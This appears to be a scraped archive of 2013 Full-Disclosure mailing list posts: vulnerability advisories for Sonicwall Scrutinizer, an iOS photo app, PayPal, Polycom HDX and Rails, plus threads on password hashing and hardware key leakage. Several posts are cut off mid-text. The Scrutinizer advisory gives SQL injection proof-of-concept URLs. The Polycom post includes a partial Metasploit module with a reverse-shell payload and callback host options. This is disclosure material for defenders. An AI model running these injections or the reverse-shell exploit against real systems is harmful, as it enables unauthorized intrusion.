[Full-disclosure] Sonicwall Scrutinizer v9.5.2 - SQL Injection Vulnerability

[Vulnerability Lab]

Title:
==
Sonicwall Scrutinizer v9.5.2 - SQL Injection Vulnerability


Date:
=
2013-02-13


References:
===
http://www.vulnerability-lab.com/get_content.php?id=789

#9984: Investigate Vulnerability Lab issues (this ticket included tracking the 
creation of our DBI shim to error on semi-colon)
#10149: Create a common function to escape characters that can be used for SQL 
injection
#10139: Review all mapping and flow analytics queries to make sure inputs 
included in SQL are escaped
#10141: Review all reporting and filtering queries to make sure inputs included 
in SQL are escaped
#10140: Review all alarm tab and admin tab queries to make sure inputs included 
in SQL are escaped


VL-ID:
=
789


Common Vulnerability Scoring System:

7.3


Introduction:
=
Dell SonicWALL Scrutinizer is a multi-vendor, flow-based application traffic 
analytics, visualization and reporting tool 
to measure and troubleshoot network performance and utilization while 
increasing productivity for enterprises and service providers. 
Scrutinizer supports a wide range of routers, switches, firewalls, and 
data-flow reporting protocols, providing unparalleled insight 
into application traffic analysis from IPFIX/NetFlow data exported by Dell 
SonicWALL firewalls, as well as support for a wide range 
of routers, switches, firewalls, and data-flow reporting protocols. IT 
administrators in charge of high throughput networks can 
deploy Scrutinizer as a virtual appliance for high performance environments. 

(Copy of the Vendor Homepage: 
http://www.sonicwall.com/us/en/products/Scrutinizer.html )



Abstract:
=
The Vulnerability Laboratory Research Team discovered SQL Injection 
vulnerability in the Dells Sonicwall OEM Scrutinizer v9.5.2 appliance 
application.


Report-Timeline:

2012-12-05: Researcher Notification & Coordination
2012-12-07: Vendor Notification
2013-01-08: Vendor Response/Feedback
2013-02-10: Vendor Fix/Patch
2013-02-11: Public Disclosure


Status:

Published


Affected Products:
==
DELL
Product: Sonicwall OEM Scrutinizer 9.5.2


Exploitation-Technique:
===
Remote


Severity:
=
High


Details:

A blind SQL Injection vulnerability is detected in the Sonicwall OEM 
Scrutinizer v9.5.2 appliance application.
The bug allows remote attackers to execute/inject own sql statement/commands to 
manipulate the affected vulnerable application dbms.
The sql injection vulnerability is located in the fa_web.cgi file with the 
bound gadget listing module and the vulnerable orderby or 
gadget parameters. Exploitation requires no user interaction & without 
privileged application user account. Successful exploitation of 
the remote sql vulnerability results in dbms & application compromise. 

Vulnerable File(s):
[+] fa_web.cgi

Vulnerable Module(s):
[+] gadget listing

Vulnerable Parameter(s):
[+] orderby
[+] gadget


Proof of Concept:
=
The remote sql injection vulnerability can be exploited by remote attackers 
without required privileged application user account 
and also without user interaction. For demonstration or reproduce ...

PoC:
http://127.0.0.1:1339/cgi-bin/fa_web.cgi?gadget=applicationsbytes-1%27[SQL 
INJECTION VULNERABILITY!]&orderby=1&cachebreaker=23_52_5_814-1%27
http://127.0.0.1:1339/cgi-bin/fa_web.cgi?gadget=applicationsbytes&orderby=-1%27[SQL
 INJECTION VULNERABILITY!]&cachebreaker=23_52_5_814-1%27



Solution:
=
1) Scrutinizer team created a own DB layer that will die if a semicolon is 
found within a SQL query
2) We have changed more queries to pass inputs as bound variables to the DB 
engine which prevents possible SQL injection


Risk:
=
The security risk of the remote sql injection vulnerability is estimated as 
high(+).


Credits:

Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(b...@vulnerability-lab.com)


Disclaimer:
===
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and 
capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, 
indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have 
been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential 
or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor 
licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:www.vulnerability-lab.com   - www.vuln

[Full-disclosure] Transferable Remote v1.1 iPad iPhone - Multiple Web Vulnerabilities

[Vulnerability Lab]

Title:
==
Transferable Remote v1.1 iPad iPhone - Multiple Web Vulnerabilities


Date:
=
2013-02-09


References:
===
http://www.vulnerability-lab.com/get_content.php?id=863


VL-ID:
=
863


Common Vulnerability Scoring System:

8.5


Introduction:
=
Transferable is the easiest way to download photos from your iPhone, iPad or 
iPod Touch to your Mac or PC!
Transferable let`s you download your photos and albums using just a web browser 
- no need for iTunes or even 
plugging your device in! As soon as the app launches it displays a web address, 
simply type this into a web 
browser on your PC or Mac and you will be able to browse, download or upload 
photos and albums!

- Easy to use interface
- Wifi Transfer - iTunes not required
- Download single pictures or whole albums!
- Upload photos from your PC/Mac to your iPhone, iPad or iPod Touch
- Star your favorite photos for download
- No limit on number of photos that can be downloaded
- Works with any web browser - no installation required!
- View Thumbnails and full resolution pictures
- Download photos as a zip

Transferable requires a wifi connection and an iphone or ipad device with iOS.

(Copy of the Homepage: 
https://itunes.apple.com/us/app/transferable-pro-wifi-photo/id518154149)


Abstract:
=
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities 
in the mobile Transferable Remote v1.01 app for the apple ipad & iphone.


Report-Timeline:

2013-02-09: Public Disclosure


Status:

Published


Affected Products:
==
Apple AppStore
Product: Transferable Remote 1.01


Exploitation-Technique:
===
Remote


Severity:
=
Critical


Details:

1.1
A local file include web vulnerability via POST request method is detected in 
the mobile Transferable Remote v1.01 app for the apple ipad & iphone.
The vulnerability allows remote attackers via POST method to inject local app 
webserver folders to request unauthorized local webserver files.

The vulnerbility is located in the downloadPhoto module of the webserver 
(http://192.168.0.10:80) when processing to load a manipulated 
`assets-library` url parameter. The execution of the injected path or file 
request will occur when the attacker is processing to reload 
to index listing of the affected module. 

Exploitation of the web vulnerability does not require a privileged application 
user account (standard) or user interaction.
Successful exploitation of the vulnerability results in unauthorized path or 
file access via local file or path include attack.


Vulnerable Application(s):
[+] Transferable Remote v1.0 - ITunes or 
AppStore (Apple)

Vulnerable Module(s):
[+] downloadPhoto

Vulnerable Parameter(s):
[+] assets-library

Affected Module(s):
[+] Index Listing

 

1.2
A local command injection web vulnerability is detected in the mobile 
Transferable Remote v1.01 app for the apple ipad & iphone.
The vulnerability allows to inject local commands via vulnerable system values 
to compromise the apple mobile application.

The vulnerbility is located in the index module when processing to load the 
ipad or iphone device name. Local attackers can change the 
ipad or iphone device name to system specific commands and file/path requests 
to provoke the execution when processing to watch the index listing.

Exploitation of the web vulnerability does not require a privileged application 
user account (standard) or user interaction.
Successful exploitation of the vulnerability results unauthorized execution of 
system specific commands and path requests.

Vulnerable Application(s):
[+] Transferable Remote v1.0 - ITunes or 
AppStore (Apple)

Vulnerable Module(s):
[+] Index

Vulnerable Parameter(s):
[+] device name - iPad or iPone

Affected Module(s):
[+] Index Listing (Device Name)




1.3
A persistent input validation vulnerability is detected in the mobile 
Transferable Remote v1.01 app for the apple ipad & iphone.
The bug allows an attacker (remote) to implement/inject malicious script code 
on the application side (persistent) of the app web service. 

The vulnerability is located in the downloadCollection module of the webserver 
(http://192.168.0.10:80) when processing to request
via POST manipulated name, ext and url parameters. The persistent script code 
will be executed out of the downloadcollection module listing. 

Exploitation of the vulnerability requires low or medium user interaction and 
with low or medium privileged application user account.
Successful exploitation of the vulnerability can lead to persistent session 
hijacking (customers), account steal via persistent web 
attacks, 

[Full-disclosure] Paypal Bug Bounty #17 - Certificate Listing/Import Persistent Web Vulnerability

[Vulnerability Lab]

Title:
==
Paypal Bug Bounty #17 - Certificate Listing/Import Persistent Web Vulnerability


Date:
=
2013-01-28


References:
===
http://www.vulnerability-lab.com/get_content.php?id=671

PayPal UID: tlm30fdsh


VL-ID:
=
671


Common Vulnerability Scoring System:

3


Introduction:
=
PayPal is a global e-commerce business allowing payments and money transfers to 
be made through the Internet. Online money 
transfers serve as electronic alternatives to paying with traditional paper 
methods, such as checks and money orders. Originally, 
a PayPal account could be funded with an electronic debit from a bank account 
or by a credit card at the payer s choice. But some 
time in 2010 or early 2011, PayPal began to require a verified bank account 
after the account holder exceeded a predetermined 
spending limit. After that point, PayPal will attempt to take funds for a 
purchase from funding sources according to a specified 
funding hierarchy. If you set one of the funding sources as Primary, it will 
default to that, within that level of the hierarchy 
(for example, if your credit card ending in 4567 is set as the Primary over 
1234, it will still attempt to pay money out of your 
PayPal balance, before it attempts to charge your credit card). The funding 
hierarchy is a balance in the PayPal account; a 
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master 
Card or Bill Me Later (if selected as primary 
funding source) (It can bypass the Balance); a verified bank account; other 
funding sources, such as non-PayPal credit cards.
The recipient of a PayPal transfer can either request a check from PayPal, 
establish their own PayPal deposit account or request 
a transfer to their bank account.

PayPal is an acquirer, performing payment processing for online vendors, 
auction sites, and other commercial users, for which it 
charges a fee. It may also charge a fee for receiving money, proportional to 
the amount received. The fees depend on the currency 
used, the payment option used, the country of the sender, the country of the 
recipient, the amount sent and the recipient s account 
type. In addition, eBay purchases made by credit card through PayPal may incur 
extra fees if the buyer and seller use different currencies.

On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its 
corporate headquarters are in San Jose, California, United 
States at eBay s North First Street satellite office campus. The company also 
has significant operations in Omaha, Nebraska, Scottsdale, 
Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow 
(near Berlin) and Tel Aviv. As of July 2007, across 
Europe, PayPal also operates as a Luxembourg-based bank.

On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), 
China s bankcard association, to allow Chinese consumers 
to use PayPal to shop online.PayPal is planning to expand its workforce in Asia 
to 2,000 by the end of the year 2010.
Between December 4ñ9, 2010, PayPal services were attacked in a series of 
denial-of-service attacks organized by Anonymous in retaliation 
for PayPal s decision to freeze the account of WikiLeaks citing terms of use 
violations over the publication of leaked US diplomatic cables.

(Copy of the Vendor Homepage: www.paypal.com) 
[http://en.wikipedia.org/wiki/PayPal]


Abstract:
=
The Vulnerability Laboratory Research Team discovered a persistent web 
vulnerability in the official Paypal ecommerce website application.


Report-Timeline:

2012-07-30: Researcher Notification & Coordination
2012-07-31: Vendor Notification
2012-08-09: Vendor Response/Feedback
2013-01-14: Vendor Fix/Patch
2013-01-28: Public or Non-Public Disclosure


Status:

Published


Affected Products:
==

Exploitation-Technique:
===
Remote


Severity:
=
Medium


Details:

A persistent input validation vulnerability is detected in the official Paypal 
website application (Customer/Pro/Seller).
The bug allows an attacker (remote) to implement/inject malicious script code 
on the application side (persistent) of 
the paypal web service. The vulnerability is located in the Zertifikatsänderung 
des öffentlichen Schlüssels module with 
the bound vulnerable name & id mail listing parameters. The vulnerability can 
be exploited by remote attackers with low 
or medium required user inter action and with privileged Customer/Pro/Seller 
account. Successful exploitation of the 
vulnerability can lead to persistent session hijacking (customers), account 
steal via persistent web attacks, persistent 
phishing or stable (persistent) certificate mail notification context 
manipulation.


Vulnerable Module(s):
  [+] Zertifikatsänderung des öffentlichen Schlüssels  
(Delete too!)

Vulnerable Parameter(s):

Re: [Full-disclosure] #warning -- DICE.COM insecure passwords

[Jeffrey Walton]

On Tue, Feb 12, 2013 at 5:58 PM, Travis Biehn  wrote:
> What Tim said. I think warning was writing about the public shame from
> having a massive pw dump not having some neckbeard expose them over using
> crypt on some random industry mailing list (shudders).
>
> Here is a long article on secure password storage. It is extremely exciting:
> http://www.cigital.com/justice-league-blog/2012/06/11/securing-password-digests-or-how-to-protect-lonely-unemployed-radio-listeners/
I got to attend that talk given at OWASP in Northern Virginia
(https://www.owasp.org/index.php/Virginia, JULY 2012).

John Steven and did a great job.

Jeff

> On Tue, Feb 12, 2013 at 5:14 PM, Tim 
> wrote:
>>
>> > That's assuming that they didn't do the risk analysis and decide that
>> > the effort required to fix the problem (which will probably require,
>> > among other things, having every single user change their password)
>> > is worth the effort.  Given that so many places have gotten hacked and
>> > pwned that the user community response is usually "Meh. Another one",
>> > they may rightfully have concluded that risking public shaming is
>> > in fact a good business decision...
>>
>>
>> Here's a bit of pseudocode for you Valdis:
>>
>> for each user:
>>   let user.new_hash = scrypt(user.old_crypt_hash)
>>
>> # now update authentication routine to use user.new_hash with new
>> # nested hashing algorithm
>>
>>
>> So really, there's actually not a good reason to keep a crappy hash
>> database around.  Just add a layer of good salted hashing on top.
>>
>> With that said, the unusual quirk of crypt being limited to 7
>> characters is an additional challenge, but you can start with the
>> above steps (which immediately improves security), and then slowly
>> transition to using scrypt alone or some variant that supports longer
>> passwords.

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] #warning -- DICE.COM insecure passwords

[Travis Biehn]

What Tim said. I think warning was writing about the public shame from
having a massive pw dump not having some neckbeard expose them over using
crypt on some random industry mailing list (shudders).

Here is a long article on secure password storage. It is extremely exciting:
http://www.cigital.com/justice-league-blog/2012/06/11/securing-password-digests-or-how-to-protect-lonely-unemployed-radio-listeners/

-Travis


On Tue, Feb 12, 2013 at 5:14 PM, Tim wrote:

> > That's assuming that they didn't do the risk analysis and decide that
> > the effort required to fix the problem (which will probably require,
> > among other things, having every single user change their password)
> > is worth the effort.  Given that so many places have gotten hacked and
> > pwned that the user community response is usually "Meh. Another one",
> > they may rightfully have concluded that risking public shaming is
> > in fact a good business decision...
>
>
> Here's a bit of pseudocode for you Valdis:
>
> for each user:
>   let user.new_hash = scrypt(user.old_crypt_hash)
>
> # now update authentication routine to use user.new_hash with new
> # nested hashing algorithm
>
>
> So really, there's actually not a good reason to keep a crappy hash
> database around.  Just add a layer of good salted hashing on top.
>
> With that said, the unusual quirk of crypt being limited to 7
> characters is an additional challenge, but you can start with the
> above steps (which immediately improves security), and then slowly
> transition to using scrypt alone or some variant that supports longer
> passwords.
>
> tim
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



-- 
Twitter  |
LinkedIn|
GitHub  | TravisBiehn.com
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Polycom HDX Telnet Authorization Bypass

[Paul Haas]

= Polycom HDX Telnet Authorization Bypass
=
= Vendor Website:
=www.polycom.com
=
= Affected Version:
=   Polycom HDX devices:
= All releases prior to and including Commercial 3.0.5
=
= Public disclosure on January 18, 2013
=


== Overview ==

The Polycom HDX is a series of telecommunication and video devices. The
telnet component of Polycom HDX video endpoint devices is vulnerable to
an authorization bypass when multiple simultaneous connections are
repeatedly made to the service, allowing remote network attackers to
gain full access to a Polycom command prompt without authentication. 
Versions prior to 3.0.4 also contain OS command injection in the ping
command which can be used to escape the telnet prompt and execute
arbitrary commands as root.
 
== Solution ==

Until a software solution is released, Polycom recommends administrators
disable telnet on their HDX unit.
 
== Credit ==

Discovered and advised to Polycom Inc., 2012 by Paul Haas of
Security-Assessment.com.

== About Security-Assessment.com ==

Security-Assessment.com is a leading team of Information Security
consultants specializing in providing high quality Information Security
services to clients throughout the Asia Pacific region. Our clients
include some of the largest globally recognized companies in areas such
as finance, telecommunications, broadcasting, legal and government. Our
aim is to provide the very best independent advice and a high level of
technical expertise while creating long and lasting professional
relationships with our clients.

Web: www.security-assessment.com 
Email: i...@security-assessment.com

== Exploitation ==

The following Metasploit module can be used to reproduce the issue:

cat > psh_auth_bypass.rb  'Polycom Command Shell Authorization
Bypass',
'Alias'=> 'psh_auth_bypass',
'Author'=> [ 'Paul Haas ' ],
'DisclosureDate'=> 'Jan 18 2013',
'Description'=> %q{
The login component of the Polycom Command Shell on
Polycom HDX
Video End Points running software versions 3.0.5 and earlier
is vulnerable to an authorization bypass when simultaneous
connections are made to the service, allowing remote network
attackers to gain access to a sandboxed telnet prompt
without
authentication. Versions prior to 3.0.4 contain OS command
injection in the ping command which can be used to execute
arbitrary commands as root.
},
'License'=> MSF_LICENSE,
'References'=>
[
[ 'URL',
'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf'
],
[ 'URL',
'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html'
]
],
'Platform'=> 'unix',
'Arch'=> ARCH_CMD,
'Privileged'=> true,
'Targets'=> [ [ "Universal", {} ] ],
'Payload'=>
{
'Space'=> 8000,
'DisableNops'=> true,
'Compat'=> { 'PayloadType'=> 'cmd',},
},
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' },
'DefaultTarget' => 0
))

register_options(
[
Opt::RHOST(),
Opt::RPORT(23),
OptAddress.new('CBHOST', [ false, "The listener address
used for staging the final payload" ]),
OptPort.new('CBPORT', [ false, "The listener port used
for staging the final payload" ])
],self.class)
register_advanced_options(
[
OptInt.new('THREADS', [false, 'Threads for
authentication bypass', 6]),
OptInt.new('MAX_CONNECTIONS', [false, 'Threads for
authentication bypass', 100])
], self.class)
end

def check
connect
sock.put(Rex::Text.rand_text_alpha(rand(5)+1) + "\n")
::IO.select(nil, nil, nil, 1)
res = sock.get
disconnect

if !(res and res.length > 0)
return Exploit::CheckCode::Safe
end

if (res =~ /Welcome to ViewStation/)
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end

def exploit
# Keep track of results (s

[Full-disclosure] List Charter

[John Cartwright]

[Full-Disclosure] Mailing List Charter
John Cartwright 
 

- Introduction & Purpose -

This document serves as a charter for the [Full-Disclosure] mailing 
list hosted at lists.grok.org.uk.

The list was created on 9th July 2002 by Len Rose, and is primarily 
concerned with security issues and their discussion.  The list is 
administered by John Cartwright.

The Full-Disclosure list is hosted and sponsored by Secunia.


- Subscription Information -

Subscription/unsubscription may be performed via the HTTP interface 
located at http://lists.grok.org.uk/mailman/listinfo/full-disclosure.

Alternatively, commands may be emailed to 
full-disclosure-requ...@lists.grok.org.uk, send the word 'help' in 
either the message subject or body for details.

 
- Moderation & Management -

The [Full-Disclosure] list is unmoderated. Typically posting will be
restricted to members only, however the administrators may choose to 
accept submissions from non-members based on individual merit and 
relevance.

It is expected that the list will be largely self-policing, however in
special circumstances (eg spamming, misappropriation) then offending 
members may be removed from the list by the management.

An archive of postings is available at 
http://lists.grok.org.uk/pipermail/full-disclosure/.
 

- Acceptable Content -

Any information pertaining to vulnerabilities is acceptable, for 
instance announcement and discussion thereof, exploit techniques and 
code, related tools and papers, and other useful information.

Gratuitous advertisement, product placement, or self-promotion is 
forbidden.  Disagreements, flames, arguments, and off-topic discussion 
should be taken off-list wherever possible.

Humour is acceptable in moderation, providing it is inoffensive. 
Politics should be avoided at all costs.

Members are reminded that due to the open nature of the list, they 
should use discretion in executing any tools or code distributed via
this list.
 

- Posting Guidelines -

The primary language of this list is English. Members are expected to 
maintain a reasonable standard of netiquette when posting to the list. 

Quoting should not exceed that which is necessary to convey context, 
this is especially relevant to members subscribed to the digested 
version of the list.

The use of HTML is discouraged, but not forbidden. Signatures will 
preferably be short and to the point, and those containing 
'disclaimers' should be avoided where possible.

Attachments may be included if relevant or necessary (e.g. PGP or 
S/MIME signatures, proof-of-concept code, etc) but must not be active 
(in the case of a worm, for example) or malicious to the recipient.

Vacation messages should be carefully configured to avoid replying to 
list postings. Offenders will be excluded from the mailing list until 
the problem is corrected.

Members may post to the list by emailing 
full-disclosure@lists.grok.org.uk. Do not send subscription/
unsubscription mails to this address, use the -request address 
mentioned above.


- Charter Additions/Changes -

The list charter will be published at 
http://lists.grok.org.uk/full-disclosure-charter.html.

In addition, the charter will be posted monthly to the list by the 
management.

Alterations will be made after consultation with list members and a 
consensus has been reached.

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] #warning -- DICE.COM insecure passwords

[Tim]

> That's assuming that they didn't do the risk analysis and decide that
> the effort required to fix the problem (which will probably require,
> among other things, having every single user change their password)
> is worth the effort.  Given that so many places have gotten hacked and
> pwned that the user community response is usually "Meh. Another one",
> they may rightfully have concluded that risking public shaming is
> in fact a good business decision...


Here's a bit of pseudocode for you Valdis:

for each user:
  let user.new_hash = scrypt(user.old_crypt_hash)

# now update authentication routine to use user.new_hash with new
# nested hashing algorithm


So really, there's actually not a good reason to keep a crappy hash
database around.  Just add a layer of good salted hashing on top.

With that said, the unusual quirk of crypt being limited to 7
characters is an additional challenge, but you can start with the
above steps (which immediately improves security), and then slowly
transition to using scrypt alone or some variant that supports longer
passwords.

tim

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] [SECURITY] [DSA 2620-1] rails security update

[Florian Weimer]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- -
Debian Security Advisory DSA-2620-1   secur...@debian.org
http://www.debian.org/security/Florian Weimer
February 12, 2013  http://www.debian.org/security/faq
- -

Package: rails
Vulnerability  : several
Problem type   : remote
Debian-specific: no
CVE ID : CVE-2013-0276 CVE-2013-0277

Two vulnerabilities were discovered in Ruby on Rails, a Ruby framework
for web application development.

CVE-2013-0276
The blacklist provided by the attr_protected method could be
bypassed with crafted requests, having an application-specific
impact.

CVE-2013-0277
In some applications, the +serialize+ helper in ActiveRecord
could be tricked into deserializing arbitrary YAML data,
possibly leading to remote code execution.

For the stable distribution (squeeze), these problems have been fixed
in version 2.3.5-1.2+squeeze7.

We recommend that you upgrade your rails packages.

Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: http://www.debian.org/security/

Mailing list: debian-security-annou...@lists.debian.org
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.10 (GNU/Linux)

iQEcBAEBAgAGBQJRGrHZAAoJEL97/wQC1SS+MioH/3mCWr/isUqOa4xgITK7PheV
hlWnwSBhKK9Yc6s25Nb6tK1qUgsiHTWOviEmKuMoEPWQicj9JNvl8C5sf8iiFGlM
swAgdN43TZY7s7ohZuttW6bnvJRiWxLcP60qlVlN2IBGsdxY2kGz25L7l3wOEqsp
wluacV5sUBBDAi9HJ2Fle3PvW3LbVv4HthpHyILXONgm97dCgB8ZjFRqWm50piIo
5QTZjrcGmCdjWwLKzd/s+xwoaMF1keU7lRsMlEBicESb4h8qd4fKOXxbDjO3MdSR
sH71oJgihBzC2GYTNjwjSia1KeOhkaSwBAuZqvf4ihsovKiwiQ7Ajh1eJkJkCbA=
=wTxl
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] ifIndex overflow (Linux Kernel - net/core/dev.c) [maybe offtopic]

[Valdis . Kletnieks]

On Thu, 07 Feb 2013 20:28:31 +0100, Daniel Preussker said:
> I was looking into the net/core/dev.c from the current Kernel (previous
> also have this) and found out that ifIndex gets incremented by an
> endless loop.
>
> After creating 4 billion pseudo-eth devices I finally got it to overflow
> and endless loop, had to kill the kernel - fun right?

I wonder what /proc/slabinfo and related memory statistics looked like after
3.9 billion devices created.  You'll need a fairly beefy box to roll that
counter without OOM'ing the kernel first.




pgppPpdbOjmgM.pgp
Description: PGP signature
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] #warning -- DICE.COM insecure passwords

[Valdis . Kletnieks]

On Mon, 11 Feb 2013 04:30:29 -0800, warn...@type-error.net said:
> job / recruiter website dice.com use ancient crypt() hash function.
> passwords limited to seven characters. cracking user passwords quite
> simple. be very afraid of future hash / cracked password dump. maybe
> dice.com should improve their security to avoid public shaming?

That's assuming that they didn't do the risk analysis and decide that
the effort required to fix the problem (which will probably require,
among other things, having every single user change their password)
is worth the effort.  Given that so many places have gotten hacked and
pwned that the user community response is usually "Meh. Another one",
they may rightfully have concluded that risking public shaming is
in fact a good business decision...


pgphRbCDeVV7S.pgp
Description: PGP signature
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Atmel "secure" crypto co-processor series microprocessors (AT91SAM7XC) leaking keys, plus bonus DESFire hack

[Adam Laurie]

On 11/02/13 09:11, Adam Laurie wrote:
> The Atmel AT91SAM7XC series of microprocessors contain a crypto
> co-processor which is DES and AES capable. They include a write-only
> memory for key storage and multiple physical security measures to
> prevent decapping etc.
>
> However, due to poor memory management, in certain circumstances it is
> possible to recover the crypto keys from a live system via the standard
> JTAG programming interface. These circumstances are made more likely to
> exist in the wild by the fact that the example software provided by
> Atmel is itself vulnerable.

It has been pointed out that in fact the example code is not vulnerable 
due to a subtlety in variable declaration. I have amended the post to 
take this into account, and apologise for the mis-information. However, 
the point about lack of clarity on this issue still stands, and, as 
we've seen, the potential for error still exists.

>
> Full story here:
>
>
> http://oamajormal.blogspot.co.uk/2013/02/atmel-sam7xc-crypto-co-processor-key.html

cheers,
Adam
-- 
Adam Laurie Tel: +44 (0) 20 7993 2690
Suite 117   Fax: +44 (0) 20 7691 7776
61 Victoria Road
Surbiton
Surrey  mailto:a...@algroup.co.uk
KT6 4JX http://rfidiot.org

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/